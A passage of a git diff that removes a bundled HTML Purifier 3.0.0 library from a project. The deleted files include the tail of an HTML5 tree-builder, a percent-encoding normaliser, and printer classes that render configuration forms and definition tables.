$this->foster_parent->appendChild($node); - - $this->foster_parent = null; - } - } - - private function elementInScope($el, $table = false) { - if(is_array($el)) { - foreach($el as $element) { - if($this->elementInScope($element, $table)) { - return true; - } - } - - return false; - } - - $leng = count($this->stack); - - for($n = 0; $n < $leng; $n++) { - /* 1. Initialise node to be the current node (the bottommost node of - the stack). */ - $node = $this->stack[$leng - 1 - $n]; - - if($node->tagName === $el) { - /* 2. If node is the target node, terminate in a match state. */ - return true; - - } elseif($node->tagName === 'table') { - /* 3. Otherwise, if node is a table element, terminate in a failure - state. */ - return false; - - } elseif($table === true && in_array($node->tagName, array('caption', 'td', - 'th', 'button', 'marquee', 'object'))) { - /* 4. Otherwise, if the algorithm is the "has an element in scope" - variant (rather than the "has an element in table scope" variant), - and node is one of the following, terminate in a failure state. */ - return false; - - } elseif($node === $node->ownerDocument->documentElement) { - /* 5. Otherwise, if node is an html element (root element), terminate - in a failure state. (This can only happen if the node is the topmost - node of the stack of open elements, and prevents the next step from - being invoked if there are no more elements in the stack.) */ - return false; - } - - /* Otherwise, set node to the previous entry in the stack of open - elements and return to step 2. (This will never fail, since the loop - will always terminate in the previous step if the top of the stack - is reached.) */ - } - } - - private function reconstructActiveFormattingElements() { - /* 1. If there are no entries in the list of active formatting elements, - then there is nothing to reconstruct; stop this algorithm. */ - $formatting_elements = count($this->a_formatting); - - if($formatting_elements === 0) { - return false; - } - - /* 3. Let entry be the last (most recently added) element in the list - of active formatting elements. */ - $entry = end($this->a_formatting); - - /* 2. If the last (most recently added) entry in the list of active - formatting elements is a marker, or if it is an element that is in the - stack of open elements, then there is nothing to reconstruct; stop this - algorithm. */ - if($entry === self::MARKER || in_array($entry, $this->stack, true)) { - return false; - } - - for($a = $formatting_elements - 1; $a >= 0; true) { - /* 4. If there are no entries before entry in the list of active - formatting elements, then jump to step 8. */ - if($a === 0) { - $step_seven = false; - break; - } - - /* 5. Let entry be the entry one earlier than entry in the list of - active formatting elements. */ - $a--; - $entry = $this->a_formatting[$a]; - - /* 6. If entry is neither a marker nor an element that is also in - thetack of open elements, go to step 4. */ - if($entry === self::MARKER || in_array($entry, $this->stack, true)) { - break; - } - } - - while(true) { - /* 7. Let entry be the element one later than entry in the list of - active formatting elements. */ - if(isset($step_seven) && $step_seven === true) { - $a++; - $entry = $this->a_formatting[$a]; - } - - /* 8. Perform a shallow clone of the element entry to obtain clone. */ - $clone = $entry->cloneNode(); - - /* 9. Append clone to the current node and push it onto the stack - of open elements so that it is the new current node. */ - end($this->stack)->appendChild($clone); - $this->stack[] = $clone; - - /* 10. Replace the entry for entry in the list with an entry for - clone. */ - $this->a_formatting[$a] = $clone; - - /* 11. If the entry for clone in the list of active formatting - elements is not the last entry in the list, return to step 7. */ - if(end($this->a_formatting) !== $clone) { - $step_seven = true; - } else { - break; - } - } - } - - private function clearTheActiveFormattingElementsUpToTheLastMarker() { - /* When the steps below require the UA to clear the list of active - formatting elements up to the last marker, the UA must perform the - following steps: */ - - while(true) { - /* 1. Let entry be the last (most recently added) entry in the list - of active formatting elements. */ - $entry = end($this->a_formatting); - - /* 2. Remove entry from the list of active formatting elements. */ - array_pop($this->a_formatting); - - /* 3. If entry was a marker, then stop the algorithm at this point. - The list has been cleared up to the last marker. */ - if($entry === self::MARKER) { - break; - } - } - } - - private function generateImpliedEndTags($exclude = array()) { - /* When the steps below require the UA to generate implied end tags, - then, if the current node is a dd element, a dt element, an li element, - a p element, a td element, a th element, or a tr element, the UA must - act as if an end tag with the respective tag name had been seen and - then generate implied end tags again. */ - $node = end($this->stack); - $elements = array_diff(array('dd', 'dt', 'li', 'p', 'td', 'th', 'tr'), $exclude); - - while(in_array(end($this->stack)->nodeName, $elements)) { - array_pop($this->stack); - } - } - - private function getElementCategory($node) { - $name = $node->tagName; - if(in_array($name, $this->special)) - return self::SPECIAL; - - elseif(in_array($name, $this->scoping)) - return self::SCOPING; - - elseif(in_array($name, $this->formatting)) - return self::FORMATTING; - - else - return self::PHRASING; - } - - private function clearStackToTableContext($elements) { - /* When the steps above require the UA to clear the stack back to a - table context, it means that the UA must, while the current node is not - a table element or an html element, pop elements from the stack of open - elements. If this causes any elements to be popped from the stack, then - this is a parse error. */ - while(true) { - $node = end($this->stack)->nodeName; - - if(in_array($node, $elements)) { - break; - } else { - array_pop($this->stack); - } - } - } - - private function resetInsertionMode() { - /* 1. Let last be false. */ - $last = false; - $leng = count($this->stack); - - for($n = $leng - 1; $n >= 0; $n--) { - /* 2. Let node be the last node in the stack of open elements. */ - $node = $this->stack[$n]; - - /* 3. If node is the first node in the stack of open elements, then - set last to true. If the element whose innerHTML attribute is being - set is neither a td element nor a th element, then set node to the - element whose innerHTML attribute is being set. (innerHTML case) */ - if($this->stack[0]->isSameNode($node)) { - $last = true; - } - - /* 4. If node is a select element, then switch the insertion mode to - "in select" and abort these steps. (innerHTML case) */ - if($node->nodeName === 'select') { - $this->mode = self::IN_SELECT; - break; - - /* 5. If node is a td or th element, then switch the insertion mode - to "in cell" and abort these steps. */ - } elseif($node->nodeName === 'td' || $node->nodeName === 'th') { - $this->mode = self::IN_CELL; - break; - - /* 6. If node is a tr element, then switch the insertion mode to - "in row" and abort these steps. */ - } elseif($node->nodeName === 'tr') { - $this->mode = self::IN_ROW; - break; - - /* 7. If node is a tbody, thead, or tfoot element, then switch the - insertion mode to "in table body" and abort these steps. */ - } elseif(in_array($node->nodeName, array('tbody', 'thead', 'tfoot'))) { - $this->mode = self::IN_TBODY; - break; - - /* 8. If node is a caption element, then switch the insertion mode - to "in caption" and abort these steps. */ - } elseif($node->nodeName === 'caption') { - $this->mode = self::IN_CAPTION; - break; - - /* 9. If node is a colgroup element, then switch the insertion mode - to "in column group" and abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'colgroup') { - $this->mode = self::IN_CGROUP; - break; - - /* 10. If node is a table element, then switch the insertion mode - to "in table" and abort these steps. */ - } elseif($node->nodeName === 'table') { - $this->mode = self::IN_TABLE; - break; - - /* 11. If node is a head element, then switch the insertion mode - to "in body" ("in body"! not "in head"!) and abort these steps. - (innerHTML case) */ - } elseif($node->nodeName === 'head') { - $this->mode = self::IN_BODY; - break; - - /* 12. If node is a body element, then switch the insertion mode to - "in body" and abort these steps. */ - } elseif($node->nodeName === 'body') { - $this->mode = self::IN_BODY; - break; - - /* 13. If node is a frameset element, then switch the insertion - mode to "in frameset" and abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'frameset') { - $this->mode = self::IN_FRAME; - break; - - /* 14. If node is an html element, then: if the head element - pointer is null, switch the insertion mode to "before head", - otherwise, switch the insertion mode to "after head". In either - case, abort these steps. (innerHTML case) */ - } elseif($node->nodeName === 'html') { - $this->mode = ($this->head_pointer === null) - ? self::BEFOR_HEAD - : self::AFTER_HEAD; - - break; - - /* 15. If last is true, then set the insertion mode to "in body" - and abort these steps. (innerHTML case) */ - } elseif($last) { - $this->mode = self::IN_BODY; - break; - } - } - } - - private function closeCell() { - /* If the stack of open elements has a td or th element in table scope, - then act as if an end tag token with that tag name had been seen. */ - foreach(array('td', 'th') as $cell) { - if($this->elementInScope($cell, true)) { - $this->inCell(array( - 'name' => $cell, - 'type' => HTML5::ENDTAG - )); - - break; - } - } - } - - public function save() { - return $this->dom; - } -} -?> diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/PercentEncoder.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/PercentEncoder.php deleted file mode 100644 index 9ce3a1f..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/PercentEncoder.php +++ /dev/null @@ -1,46 +0,0 @@ -<?php - -/** - * Class that handles operations involving percent-encoding in URIs. - */ -class HTMLPurifier_PercentEncoder -{ - - /** - * Fix up percent-encoding by decoding unreserved characters and normalizing - * @param $string String to normalize - */ - public function normalize($string) { - if ($string == '') return ''; - $parts = explode('%', $string); - $ret = array_shift($parts); - foreach ($parts as $part) { - $length = strlen($part); - if ($length < 2) { - $ret .= '%25' . $part; - continue; - } - $encoding = substr($part, 0, 2); - $text = substr($part, 2); - if (!ctype_xdigit($encoding)) { - $ret .= '%25' . $part; - continue; - } - $int = hexdec($encoding); - if ( - ($int >= 48 && $int <= 57) || // digits - ($int >= 65 && $int <= 90) || // uppercase letters - ($int >= 97 && $int <= 122) || // lowercase letters - $int == 126 || $int == 45 || $int == 46 || $int == 95 // ~-._ - ) { - $ret .= chr($int) . $text; - continue; - } - $encoding = strtoupper($encoding); - $ret .= '%' . $encoding . $text; - } - return $ret; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer.php deleted file mode 100644 index c9e8841..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer.php +++ /dev/null @@ -1,173 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Generator.php'; -require_once 'HTMLPurifier/Token.php'; -require_once 'HTMLPurifier/Encoder.php'; - -// OUT OF DATE, NEEDS UPDATING! - -class HTMLPurifier_Printer -{ - - /** - * Instance of HTMLPurifier_Generator for HTML generation convenience funcs - */ - protected $generator; - - /** - * Instance of HTMLPurifier_Config, for easy access - */ - protected $config; - - /** - * Initialize $generator. - */ - public function __construct() { - $this->generator = new HTMLPurifier_Generator(); - } - - /** - * Give generator necessary configuration if possible - */ - public function prepareGenerator($config) { - // hack for smoketests/configForm.php - $all = $config->getAll(); - if (empty($all['HTML'])) return; - $context = new HTMLPurifier_Context(); - $this->generator->generateFromTokens(array(), $config, $context); - } - - /** - * Main function that renders object or aspect of that object - * @note Parameters vary depending on printer - */ - // function render() {} - - /** - * Returns a start tag - * @param $tag Tag name - * @param $attr Attribute array - */ - protected function start($tag, $attr = array()) { - return $this->generator->generateFromToken( - new HTMLPurifier_Token_Start($tag, $attr ? $attr : array()) - ); - } - - /** - * Returns an end teg - * @param $tag Tag name - */ - protected function end($tag) { - return $this->generator->generateFromToken( - new HTMLPurifier_Token_End($tag) - ); - } - - /** - * Prints a complete element with content inside - * @param $tag Tag name - * @param $contents Element contents - * @param $attr Tag attributes - * @param $escape Bool whether or not to escape contents - */ - protected function element($tag, $contents, $attr = array(), $escape = true) { - return $this->start($tag, $attr) . - ($escape ? $this->escape($contents) : $contents) . - $this->end($tag); - } - - protected function elementEmpty($tag, $attr = array()) { - return $this->generator->generateFromToken( - new HTMLPurifier_Token_Empty($tag, $attr) - ); - } - - protected function text($text) { - return $this->generator->generateFromToken( - new HTMLPurifier_Token_Text($text) - ); - } - - /** - * Prints a simple key/value row in a table. - * @param $name Key - * @param $value Value - */ - protected function row($name, $value) { - if (is_bool($value)) $value = $value ? 'On' : 'Off'; - return - $this->start('tr') . "\n" . - $this->element('th', $name) . "\n" . - $this->element('td', $value) . "\n" . - $this->end('tr') - ; - } - - /** - * Escapes a string for HTML output. - * @param $string String to escape - */ - protected function escape($string) { - $string = HTMLPurifier_Encoder::cleanUTF8($string); - $string = htmlspecialchars($string, ENT_COMPAT, 'UTF-8'); - return $string; - } - - /** - * Takes a list of strings and turns them into a single list - * @param $array List of strings - * @param $polite Bool whether or not to add an end before the last - */ - protected function listify($array, $polite = false) { - if (empty($array)) return 'None'; - $ret = ''; - $i = count($array); - foreach ($array as $value) { - $i--; - $ret .= $value; - if ($i > 0 && !($polite && $i == 1)) $ret .= ', '; - if ($polite && $i == 1) $ret .= 'and '; - } - return $ret; - } - - /** - * Retrieves the class of an object without prefixes, as well as metadata - * @param $obj Object to determine class of - * @param $prefix Further prefix to remove - */ - protected function getClass($obj, $sec_prefix = '') { - static $five = null; - if ($five === null) $five = version_compare(PHP_VERSION, '5', '>='); - $prefix = 'HTMLPurifier_' . $sec_prefix; - if (!$five) $prefix = strtolower($prefix); - $class = str_replace($prefix, '', get_class($obj)); - $lclass = strtolower($class); - $class .= '('; - switch ($lclass) { - case 'enum': - $values = array(); - foreach ($obj->valid_values as $value => $bool) { - $values[] = $value; - } - $class .= implode(', ', $values); - break; - case 'css_composite': - $values = array(); - foreach ($obj->defs as $def) { - $values[] = $this->getClass($def, $sec_prefix); - } - $class .= implode(', ', $values); - break; - case 'css_multiple': - $class .= $this->getClass($obj->single, $sec_prefix) . ', '; - $class .= $obj->max; - break; - } - $class .= ')'; - return $class; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/CSSDefinition.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/CSSDefinition.php deleted file mode 100644 index 708d07c..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/CSSDefinition.php +++ /dev/null @@ -1,39 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Printer.php'; - -class HTMLPurifier_Printer_CSSDefinition extends HTMLPurifier_Printer -{ - - protected $def; - - public function render($config) { - $this->def = $config->getCSSDefinition(); - $ret = ''; - - $ret .= $this->start('div', array('class' => 'HTMLPurifier_Printer')); - $ret .= $this->start('table'); - - $ret .= $this->element('caption', 'Properties ($info)'); - - $ret .= $this->start('thead'); - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Property', array('class' => 'heavy')); - $ret .= $this->element('th', 'Definition', array('class' => 'heavy', 'style' => 'width:auto;')); - $ret .= $this->end('tr'); - $ret .= $this->end('thead'); - - ksort($this->def->info); - foreach ($this->def->info as $property => $obj) { - $name = $this->getClass($obj, 'AttrDef_'); - $ret .= $this->row($property, $name); - } - - $ret .= $this->end('table'); - $ret .= $this->end('div'); - - return $ret; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/ConfigForm.css b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/ConfigForm.css deleted file mode 100644 index 0653bbb..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/ConfigForm.css +++ /dev/null @@ -1,8 +0,0 @@ - -.hp-config {} - -.hp-config tbody th {text-align:right; padding-right:0.5em;} -.hp-config thead, .hp-config .namespace {background:#3C578C; color:#FFF;} -.hp-config .namespace th {text-align:center;} -.hp-config .verbose {display:none;} -.hp-config .controls {text-align:center;} diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/ConfigForm.js b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/ConfigForm.js deleted file mode 100644 index 119ca4a..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/ConfigForm.js +++ /dev/null @@ -1,3 +0,0 @@ -function toggleWriteability(id_of_patient, checked) { - document.getElementById(id_of_patient).disabled = checked; -} \ No newline at end of file diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/ConfigForm.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/ConfigForm.php deleted file mode 100644 index 8450fdb..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/ConfigForm.php +++ /dev/null @@ -1,318 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Printer.php'; - -class HTMLPurifier_Printer_ConfigForm extends HTMLPurifier_Printer -{ - - /** - * Printers for specific fields - */ - protected $fields = array(); - - /** - * Documentation URL, can have fragment tagged on end - */ - protected $docURL; - - /** - * Name of form element to stuff config in - */ - protected $name; - - /** - * Whether or not to compress directive names, clipping them off - * after a certain amount of letters. False to disable or integer letters - * before clipping. - */ - protected $compress = false; - - /** - * @param $name Form element name for directives to be stuffed into - * @param $doc_url String documentation URL, will have fragment tagged on - * @param $compress Integer max length before compressing a directive name, set to false to turn off - */ - public function __construct( - $name, $doc_url = null, $compress = false - ) { - parent::__construct(); - $this->docURL = $doc_url; - $this->name = $name; - $this->compress = $compress; - // initialize sub-printers - $this->fields['default'] = new HTMLPurifier_Printer_ConfigForm_default(); - $this->fields['bool'] = new HTMLPurifier_Printer_ConfigForm_bool(); - } - - /** - * Sets default column and row size for textareas in sub-printers - * @param $cols Integer columns of textarea, null to use default - * @param $rows Integer rows of textarea, null to use default - */ - public function setTextareaDimensions($cols = null, $rows = null) { - if ($cols) $this->fields['default']->cols = $cols; - if ($rows) $this->fields['default']->rows = $rows; - } - - /** - * Retrieves styling, in case it is not accessible by webserver - */ - public function getCSS() { - return file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/Printer/ConfigForm.css'); - } - - /** - * Retrieves JavaScript, in case it is not accessible by webserver - */ - public function getJavaScript() { - return file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/Printer/ConfigForm.js'); - } - - /** - * Returns HTML output for a configuration form - * @param $config Configuration object of current form state - * @param $allowed Optional namespace(s) and directives to restrict form to. - */ - public function render($config, $allowed = true, $render_controls = true) { - $this->config = $config; - $this->prepareGenerator($config); - - $allowed = HTMLPurifier_Config::getAllowedDirectivesForForm($allowed); - $all = array(); - foreach ($allowed as $key) { - list($ns, $directive) = $key; - $all[$ns][$directive] = $config->get($ns, $directive); - } - - $ret = ''; - $ret .= $this->start('table', array('class' => 'hp-config')); - $ret .= $this->start('thead'); - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Directive'); - $ret .= $this->element('th', 'Value'); - $ret .= $this->end('tr'); - $ret .= $this->end('thead'); - foreach ($all as $ns => $directives) { - $ret .= $this->renderNamespace($ns, $directives); - } - if ($render_controls) { - $ret .= $this->start('tbody'); - $ret .= $this->start('tr'); - $ret .= $this->start('td', array('colspan' => 2, 'class' => 'controls')); - $ret .= $this->elementEmpty('input', array('type' => 'submit', 'value' => 'Submit')); - $ret .= '[<a href="?">Reset</a>]'; - $ret .= $this->end('td'); - $ret .= $this->end('tr'); - $ret .= $this->end('tbody'); - } - $ret .= $this->end('table'); - return $ret; - } - - /** - * Renders a single namespace - * @param $ns String namespace name - * @param $directive Associative array of directives to values - */ - protected function renderNamespace($ns, $directives) { - $ret = ''; - $ret .= $this->start('tbody', array('class' => 'namespace')); - $ret .= $this->start('tr'); - $ret .= $this->element('th', $ns, array('colspan' => 2)); - $ret .= $this->end('tr'); - $ret .= $this->end('tbody'); - $ret .= $this->start('tbody'); - foreach ($directives as $directive => $value) { - $ret .= $this->start('tr'); - $ret .= $this->start('th'); - if ($this->docURL) { - $url = str_replace('%s', urlencode("$ns.$directive"), $this->docURL); - $ret .= $this->start('a', array('href' => $url)); - } - $attr = array('for' => "{$this->name}:$ns.$directive"); - - // crop directive name if it's too long - if (!$this->compress || (strlen($directive) < $this->compress)) { - $directive_disp = $directive; - } else { - $directive_disp = substr($directive, 0, $this->compress - 2) . '...'; - $attr['title'] = $directive; - } - - $ret .= $this->element( - 'label', - $directive_disp, - // component printers must create an element with this id - $attr - ); - if ($this->docURL) $ret .= $this->end('a'); - $ret .= $this->end('th'); - - $ret .= $this->start('td'); - $def = $this->config->def->info[$ns][$directive]; - $type = $def->type; - if (!isset($this->fields[$type])) $type = 'default'; - $type_obj = $this->fields[$type]; - if ($def->allow_null) { - $type_obj = new HTMLPurifier_Printer_ConfigForm_NullDecorator($type_obj); - } - $ret .= $type_obj->render($ns, $directive, $value, $this->name, $this->config); - $ret .= $this->end('td'); - $ret .= $this->end('tr'); - } - $ret .= $this->end('tbody'); - return $ret; - } - -} - -/** - * Printer decorator for directives that accept null - */ -class HTMLPurifier_Printer_ConfigForm_NullDecorator extends HTMLPurifier_Printer { - /** - * Printer being decorated - */ - protected $obj; - /** - * @param $obj Printer to decorate - */ - public function __construct($obj) { - parent::__construct(); - $this->obj = $obj; - } - public function render($ns, $directive, $value, $name, $config) { - $this->prepareGenerator($config); - $ret = ''; - $ret .= $this->start('label', array('for' => "$name:Null_$ns.$directive")); - $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose')); - $ret .= $this->text(' Null/Disabled'); - $ret .= $this->end('label'); - $attr = array( - 'type' => 'checkbox', - 'value' => '1', - 'class' => 'null-toggle', - 'name' => "$name"."[Null_$ns.$directive]", - 'id' => "$name:Null_$ns.$directive", - 'onclick' => "toggleWriteability('$name:$ns.$directive',checked)" // INLINE JAVASCRIPT!!!! - ); - if ($value === null) $attr['checked'] = 'checked'; - $ret .= $this->elementEmpty('input', $attr); - $ret .= $this->text(' or '); - $ret .= $this->elementEmpty('br'); - $ret .= $this->obj->render($ns, $directive, $value, $name, $config); - return $ret; - } -} - -/** - * Swiss-army knife configuration form field printer - */ -class HTMLPurifier_Printer_ConfigForm_default extends HTMLPurifier_Printer { - public $cols = 18; - public $rows = 5; - public function render($ns, $directive, $value, $name, $config) { - $this->prepareGenerator($config); - // this should probably be split up a little - $ret = ''; - $def = $config->def->info[$ns][$directive]; - if (is_array($value)) { - switch ($def->type) { - case 'lookup': - $array = $value; - $value = array(); - foreach ($array as $val => $b) { - $value[] = $val; - } - case 'list': - $value = implode(PHP_EOL, $value); - break; - case 'hash': - $nvalue = ''; - foreach ($value as $i => $v) { - $nvalue .= "$i:$v" . PHP_EOL; - } - $value = $nvalue; - break; - default: - $value = ''; - } - } - if ($def->type === 'mixed') { - return 'Not supported'; - $value = serialize($value); - } - $attr = array( - 'name' => "$name"."[$ns.$directive]", - 'id' => "$name:$ns.$directive" - ); - if ($value === null) $attr['disabled'] = 'disabled'; - if (is_array($def->allowed)) { - $ret .= $this->start('select', $attr); - foreach ($def->allowed as $val => $b) { - $attr = array(); - if ($value == $val) $attr['selected'] = 'selected'; - $ret .= $this->element('option', $val, $attr); - } - $ret .= $this->end('select'); - } elseif ( - $def->type == 'text' || $def->type == 'itext' || - $def->type == 'list' || $def->type == 'hash' || $def->type == 'lookup' - ) { - $attr['cols'] = $this->cols; - $attr['rows'] = $this->rows; - $ret .= $this->start('textarea', $attr); - $ret .= $this->text($value); - $ret .= $this->end('textarea'); - } else { - $attr['value'] = $value; - $attr['type'] = 'text'; - $ret .= $this->elementEmpty('input', $attr); - } - return $ret; - } -} - -/** - * Bool form field printer - */ -class HTMLPurifier_Printer_ConfigForm_bool extends HTMLPurifier_Printer { - public function render($ns, $directive, $value, $name, $config) { - $this->prepareGenerator($config); - $ret = ''; - $ret .= $this->start('div', array('id' => "$name:$ns.$directive")); - - $ret .= $this->start('label', array('for' => "$name:Yes_$ns.$directive")); - $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose')); - $ret .= $this->text(' Yes'); - $ret .= $this->end('label'); - - $attr = array( - 'type' => 'radio', - 'name' => "$name"."[$ns.$directive]", - 'id' => "$name:Yes_$ns.$directive", - 'value' => '1' - ); - if ($value) $attr['checked'] = 'checked'; - $ret .= $this->elementEmpty('input', $attr); - - $ret .= $this->start('label', array('for' => "$name:No_$ns.$directive")); - $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose')); - $ret .= $this->text(' No'); - $ret .= $this->end('label'); - - $attr = array( - 'type' => 'radio', - 'name' => "$name"."[$ns.$directive]", - 'id' => "$name:No_$ns.$directive", - 'value' => '0' - ); - if (!$value) $attr['checked'] = 'checked'; - $ret .= $this->elementEmpty('input', $attr); - - $ret .= $this->end('div'); - - return $ret; - } -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/HTMLDefinition.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/HTMLDefinition.php deleted file mode 100644 index 4beb430..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Printer/HTMLDefinition.php +++ /dev/null @@ -1,273 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Printer.php'; - -class HTMLPurifier_Printer_HTMLDefinition extends HTMLPurifier_Printer -{ - - /** - * Instance of HTMLPurifier_HTMLDefinition, for easy access - */ - protected $def; - - public function render($config) { - $ret = ''; - $this->config =& $config; - - $this->def = $config->getHTMLDefinition(); - - $ret .= $this->start('div', array('class' => 'HTMLPurifier_Printer')); - - $ret .= $this->renderDoctype(); - $ret .= $this->renderEnvironment(); - $ret .= $this->renderContentSets(); - $ret .= $this->renderInfo(); - - $ret .= $this->end('div'); - - return $ret; - } - - /** - * Renders the Doctype table - */ - protected function renderDoctype() { - $doctype = $this->def->doctype; - $ret = ''; - $ret .= $this->start('table'); - $ret .= $this->element('caption', 'Doctype'); - $ret .= $this->row('Name', $doctype->name); - $ret .= $this->row('XML', $doctype->xml ? 'Yes' : 'No'); - $ret .= $this->row('Default Modules', implode($doctype->modules, ', ')); - $ret .= $this->row('Default Tidy Modules', implode($doctype->tidyModules, ', ')); - $ret .= $this->end('table'); - return $ret; - } - - - /** - * Renders environment table, which is miscellaneous info - */ - protected function renderEnvironment() { - $def = $this->def; - - $ret = ''; - - $ret .= $this->start('table'); - $ret .= $this->element('caption', 'Environment'); - - $ret .= $this->row('Parent of fragment', $def->info_parent); - $ret .= $this->renderChildren($def->info_parent_def->child); - $ret .= $this->row('Block wrap name', $def->info_block_wrapper); - - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Global attributes'); - $ret .= $this->element('td', $this->listifyAttr($def->info_global_attr),0,0); - $ret .= $this->end('tr'); - - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Tag transforms'); - $list = array(); - foreach ($def->info_tag_transform as $old => $new) { - $new = $this->getClass($new, 'TagTransform_'); - $list[] = "<$old> with $new"; - } - $ret .= $this->element('td', $this->listify($list)); - $ret .= $this->end('tr'); - - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Pre-AttrTransform'); - $ret .= $this->element('td', $this->listifyObjectList($def->info_attr_transform_pre)); - $ret .= $this->end('tr'); - - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Post-AttrTransform'); - $ret .= $this->element('td', $this->listifyObjectList($def->info_attr_transform_post)); - $ret .= $this->end('tr'); - - $ret .= $this->end('table'); - return $ret; - } - - /** - * Renders the Content Sets table - */ - protected function renderContentSets() { - $ret = ''; - $ret .= $this->start('table'); - $ret .= $this->element('caption', 'Content Sets'); - foreach ($this->def->info_content_sets as $name => $lookup) { - $ret .= $this->heavyHeader($name); - $ret .= $this->start('tr'); - $ret .= $this->element('td', $this->listifyTagLookup($lookup)); - $ret .= $this->end('tr'); - } - $ret .= $this->end('table'); - return $ret; - } - - /** - * Renders the Elements ($info) table - */ - protected function renderInfo() { - $ret = ''; - $ret .= $this->start('table'); - $ret .= $this->element('caption', 'Elements ($info)'); - ksort($this->def->info); - $ret .= $this->heavyHeader('Allowed tags', 2); - $ret .= $this->start('tr'); - $ret .= $this->element('td', $this->listifyTagLookup($this->def->info), array('colspan' => 2)); - $ret .= $this->end('tr'); - foreach ($this->def->info as $name => $def) { - $ret .= $this->start('tr'); - $ret .= $this->element('th', "<$name>" . ($def->safe ? '' : ' (unsafe)'), array('class'=>'heavy' . ($def->safe ? '' : ' unsafe'), 'colspan' => 2)); - $ret .= $this->end('tr'); - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Inline content'); - $ret .= $this->element('td', $def->descendants_are_inline ? 'Yes' : 'No'); - $ret .= $this->end('tr'); - if (!empty($def->excludes)) { - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Excludes'); - $ret .= $this->element('td', $this->listifyTagLookup($def->excludes)); - $ret .= $this->end('tr'); - } - if (!empty($def->attr_transform_pre)) { - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Pre-AttrTransform'); - $ret .= $this->element('td', $this->listifyObjectList($def->attr_transform_pre)); - $ret .= $this->end('tr'); - } - if (!empty($def->attr_transform_post)) { - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Post-AttrTransform'); - $ret .= $this->element('td', $this->listifyObjectList($def->attr_transform_post)); - $ret .= $this->end('tr'); - } - if (!empty($def->auto_close)) { - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Auto closed by'); - $ret .= $this->element('td', $this->listifyTagLookup($def->auto_close)); - $ret .= $this->end('tr'); - } - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Allowed attributes'); - $ret .= $this->element('td',$this->listifyAttr($def->attr), array(), 0); - $ret .= $this->end('tr'); - - if (!empty($def->required_attr)) { - $ret .= $this->row('Required attributes', $this->listify($def->required_attr)); - } - - $ret .= $this->renderChildren($def->child); - } - $ret .= $this->end('table'); - return $ret; - } - - /** - * Renders a row describing the allowed children of an element - * @param $def HTMLPurifier_ChildDef of pertinent element - */ - protected function renderChildren($def) { - $context = new HTMLPurifier_Context(); - $ret = ''; - $ret .= $this->start('tr'); - $elements = array(); - $attr = array(); - if (isset($def->elements)) { - if ($def->type == 'strictblockquote') { - $def->validateChildren(array(), $this->config, $context); - } - $elements = $def->elements; - } - if ($def->type == 'chameleon') { - $attr['rowspan'] = 2; - } elseif ($def->type == 'empty') { - $elements = array(); - } elseif ($def->type == 'table') { - $elements = array_flip(array('col', 'caption', 'colgroup', 'thead', - 'tfoot', 'tbody', 'tr')); - } - $ret .= $this->element('th', 'Allowed children', $attr); - - if ($def->type == 'chameleon') { - - $ret .= $this->element('td', - '<em>Block</em>: ' . - $this->escape($this->listifyTagLookup($def->block->elements)),0,0); - $ret .= $this->end('tr'); - $ret .= $this->start('tr'); - $ret .= $this->element('td', - '<em>Inline</em>: ' . - $this->escape($this->listifyTagLookup($def->inline->elements)),0,0); - - } elseif ($def->type == 'custom') { - - $ret .= $this->element('td', '<em>'.ucfirst($def->type).'</em>: ' . - $def->dtd_regex); - - } else { - $ret .= $this->element('td', - '<em>'.ucfirst($def->type).'</em>: ' . - $this->escape($this->listifyTagLookup($elements)),0,0); - } - $ret .= $this->end('tr'); - return $ret; - } - - /** - * Listifies a tag lookup table. - * @param $array Tag lookup array in form of array('tagname' => true) - */ - protected function listifyTagLookup($array) { - ksort($array); - $list = array(); - foreach ($array as $name => $discard) { - if ($name !== '#PCDATA' && !isset($this->def->info[$name])) continue; - $list[] = $name; - } - return $this->listify($list); - } - - /** - * Listifies a list of objects by retrieving class names and internal state - * @param $array List of objects - * @todo Also add information about internal state - */ - protected function listifyObjectList($array) { 